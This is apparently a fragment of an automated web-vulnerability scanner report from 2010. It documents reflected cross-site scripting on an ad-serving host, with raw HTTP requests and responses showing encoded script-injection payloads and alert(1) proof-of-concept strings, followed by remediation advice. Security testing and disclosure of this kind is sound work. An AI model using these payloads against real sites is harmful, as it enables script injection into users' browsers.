GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60f5d95%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f813069dbe/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1926
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60f5d95"><script>alert(1)</script>4f813069dbe/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
1.36. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/1289925654** [name of an arbitrarily supplied request parameter]previous
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3f11b'-alert(1)-'dbcde01df was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.